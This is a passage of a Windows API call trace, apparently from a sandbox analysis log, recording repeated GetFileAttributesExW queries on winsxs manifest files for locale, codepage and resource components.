	[0107.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..age-core-vietnamese_31bf3856ad364e35_6.1.7600.16385_none_ec91e40b587c8e14.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..age-core-vietnamese_31bf3856ad364e35_6.1.7600.16385_none_ec91e40b587c8e14.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23638 | out: lpFileInformation=0x12c23638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765d270, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8765d270, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb48eb330, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2cb)) returned 1
	[0107.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..al-availablelocales_31bf3856ad364e35_6.1.7600.16385_none_698f726f898f1078.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..al-availablelocales_31bf3856ad364e35_6.1.7600.16385_none_698f726f898f1078.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23688 | out: lpFileInformation=0x12c23688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a615dd8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7a615dd8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb3547e34, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc4ed)) returned 1
	[0107.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ational-codepage-37_31bf3856ad364e35_6.1.7600.16385_none_671dc26ff12ee4ad.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ational-codepage-37_31bf3856ad364e35_6.1.7600.16385_none_671dc26ff12ee4ad.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c236d8 | out: lpFileInformation=0x12c236d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e7aa2f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86e7aa2f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xca89d168, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..codepage-core-greek_31bf3856ad364e35_6.1.7600.16385_none_2b6bceebd51db739.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..codepage-core-greek_31bf3856ad364e35_6.1.7600.16385_none_2b6bceebd51db739.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23728 | out: lpFileInformation=0x12c23728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875c4cfc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x875c4cfc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb47946d9, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bc)) returned 1
	[0107.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..codepage-core-indic_31bf3856ad364e35_6.1.7600.16385_none_2bd9854807ca6a0c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..codepage-core-indic_31bf3856ad364e35_6.1.7600.16385_none_2bd9854807ca6a0c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23778 | out: lpFileInformation=0x12c23778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b80eeb, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86b80eeb, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb47e0997, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bc)) returned 1
	[0107.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..converter.resources_31bf3856ad364e35_8.0.7600.16385_en-us_659f28693168f6d9.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..converter.resources_31bf3856ad364e35_8.0.7600.16385_en-us_659f28693168f6d9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c237c8 | out: lpFileInformation=0x12c237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea16731, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea16731, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x88f)) returned 1
	[0107.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..core-central_europe_31bf3856ad364e35_6.1.7600.16385_none_650c9ddc7cd86a69.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..core-central_europe_31bf3856ad364e35_6.1.7600.16385_none_650c9ddc7cd86a69.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23818 | out: lpFileInformation=0x12c23818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d23dea, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86d23dea, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb474841b, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2d7)) returned 1
	[0107.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..core-western_europe_31bf3856ad364e35_6.1.7600.16385_none_a94b257ac8331f78.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..core-western_europe_31bf3856ad364e35_6.1.7600.16385_none_a94b257ac8331f78.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23868 | out: lpFileInformation=0x12c23868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8708fd45, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8708fd45, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb48eb330, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2d7)) returned 1
	[0107.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..d-chinese-migration_31bf3856ad364e35_6.1.7600.16385_none_1c7d72c96b663a4a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..d-chinese-migration_31bf3856ad364e35_6.1.7600.16385_none_1c7d72c96b663a4a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c238b8 | out: lpFileInformation=0x12c238b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89aa9f14, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x89aa9f14, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7d913b7e, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xdb6)) returned 1
	[0107.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..d-chinese-utilities_31bf3856ad364e35_6.1.7600.16385_none_9a750d36e8d5bd24.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..d-chinese-utilities_31bf3856ad364e35_6.1.7600.16385_none_9a750d36e8d5bd24.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23908 | out: lpFileInformation=0x12c23908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a83db7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x14ddc994, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xb2a458be, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x444)) returned 1
	[0107.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..devicescontrolpanel_31bf3856ad364e35_6.1.7600.16385_none_247621f7aa7542ff.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..devicescontrolpanel_31bf3856ad364e35_6.1.7600.16385_none_247621f7aa7542ff.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23958 | out: lpFileInformation=0x12c23958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4e9257, ftCreationTime.dwHighDateTime=0x1ca0425, ftLastAccessTime.dwLowDateTime=0x7ba0d0da, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbd5817d3, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xb11)) returned 1
	[0107.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..egacyshim.resources_31bf3856ad364e35_6.1.7600.16385_en-us_234a859d7a661989.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..egacyshim.resources_31bf3856ad364e35_6.1.7600.16385_en-us_234a859d7a661989.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c239a8 | out: lpFileInformation=0x12c239a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cae8be, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3cae8be, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x881)) returned 1
	[0107.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..emsupport.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ffbf5574b0e45521.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..emsupport.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ffbf5574b0e45521.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c239f8 | out: lpFileInformation=0x12c239f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c0a12d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c0a12d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1
	[0107.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..eoptionalcomponents_31bf3856ad364e35_8.0.7601.17514_none_1e7b93842c84c912.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..eoptionalcomponents_31bf3856ad364e35_8.0.7601.17514_none_1e7b93842c84c912.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23a48 | out: lpFileInformation=0x12c23a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bc7b53, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb8bc7b53, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb8d44916, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0107.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..epage-core-cyrillic_31bf3856ad364e35_6.1.7600.16385_none_f5b2a92f9754534a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..epage-core-cyrillic_31bf3856ad364e35_6.1.7600.16385_none_f5b2a92f9754534a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23a98 | out: lpFileInformation=0x12c23a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b7e8f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x869b7e8f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb476e57a, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c5)) returned 1
	[0107.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..epage-core-japanese_31bf3856ad364e35_6.1.7600.16385_none_6f81ce2e080b42c6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..epage-core-japanese_31bf3856ad364e35_6.1.7600.16385_none_6f81ce2e080b42c6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23ae8 | out: lpFileInformation=0x12c23ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868873a7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x868873a7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb4806af6, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c5)) returned 1
	[0107.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..eprotocol.resources_31bf3856ad364e35_6.1.7600.16385_en-us_148363a5142c89cd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..eprotocol.resources_31bf3856ad364e35_6.1.7600.16385_en-us_148363a5142c89cd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23b38 | out: lpFileInformation=0x12c23b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf924438c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf924438c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x96d)) returned 1
	[0107.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ar-sa_b489b679f7fff827.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ar-sa_b489b679f7fff827.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23b88 | out: lpFileInformation=0x12c23b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7387593c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7387593c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7389ba9c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_bg-bg_5ac99802e880497e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_bg-bg_5ac99802e880497e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23bd8 | out: lpFileInformation=0x12c23bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f19aa02, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5f19aa02, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5f232f83, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_cs-cz_05d30e9dd60825a9.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_cs-cz_05d30e9dd60825a9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23c28 | out: lpFileInformation=0x12c23c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aa99967, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4aa99967, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x4aabfac8, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbfd)) returned 1
	[0107.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_da-dk_a30ceec4cc4e21a8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_da-dk_a30ceec4cc4e21a8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23c78 | out: lpFileInformation=0x12c23c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36f0abf, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xa36f0abf, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xa373cd80, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbfd)) returned 1
	[0107.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_de-de_a0388400ce247642.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_de-de_a0388400ce247642.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23cc8 | out: lpFileInformation=0x12c23cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468fda8f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x468fda8f, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x46923bef, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.469] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_el-gr_48ceb193bd39ded0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_el-gr_48ceb193bd39ded0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23d18 | out: lpFileInformation=0x12c23d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aba6287, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8aba6287, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8abcc3e8, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_en-us_492959f9bd028207.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_en-us_492959f9bd028207.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23d68 | out: lpFileInformation=0x12c23d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aac1a46, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xf0ba08fd, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x8aae7ba6, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_es-es_48f4b6ddbd2973ac.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_es-es_48f4b6ddbd2973ac.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23db8 | out: lpFileInformation=0x12c23db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab33e66, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8ab33e66, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8ab59fc7, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_et-ee_42b4826dc12f503b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_et-ee_42b4826dc12f503b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23e08 | out: lpFileInformation=0x12c23e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e963d99, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8e963d99, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8e9b005a, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.470] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_fi-fi_e80fbb8ab24365d6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_fi-fi_e80fbb8ab24365d6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23e58 | out: lpFileInformation=0x12c23e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b68477, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x77b68477, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x77c26b58, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_fr-fr_ebac2cdcaffb8a0e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_fr-fr_ebac2cdcaffb8a0e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23ea8 | out: lpFileInformation=0x12c23ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7514df09, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7514df09, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7517406a, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_he-il_2fcbd47e966a8afc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_he-il_2fcbd47e966a8afc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23ef8 | out: lpFileInformation=0x12c23ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47792169, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x47792169, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x477b82ca, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_hr-hr_31e8875e951df7c2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_hr-hr_31e8875e951df7c2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23f48 | out: lpFileInformation=0x12c23f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f457cf, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xa3f457cf, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xa3f6b92f, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_hu-hu_331cad24945b592a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_hu-hu_331cad24945b592a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12c23f98 | out: lpFileInformation=0x12c23f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa39520c4, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xa39520c4, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xa3978224, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_it-it_d5d42323872d6f8c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_it-it_d5d42323872d6f8c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0008 | out: lpFileInformation=0x128f0008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a292e97, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8a292e97, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8a2b8ff7, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_77f9a2307a488167.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_77f9a2307a488167.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0058 | out: lpFileInformation=0x128f0058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a71b8d0, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6a71b8d0, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6a741a30, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
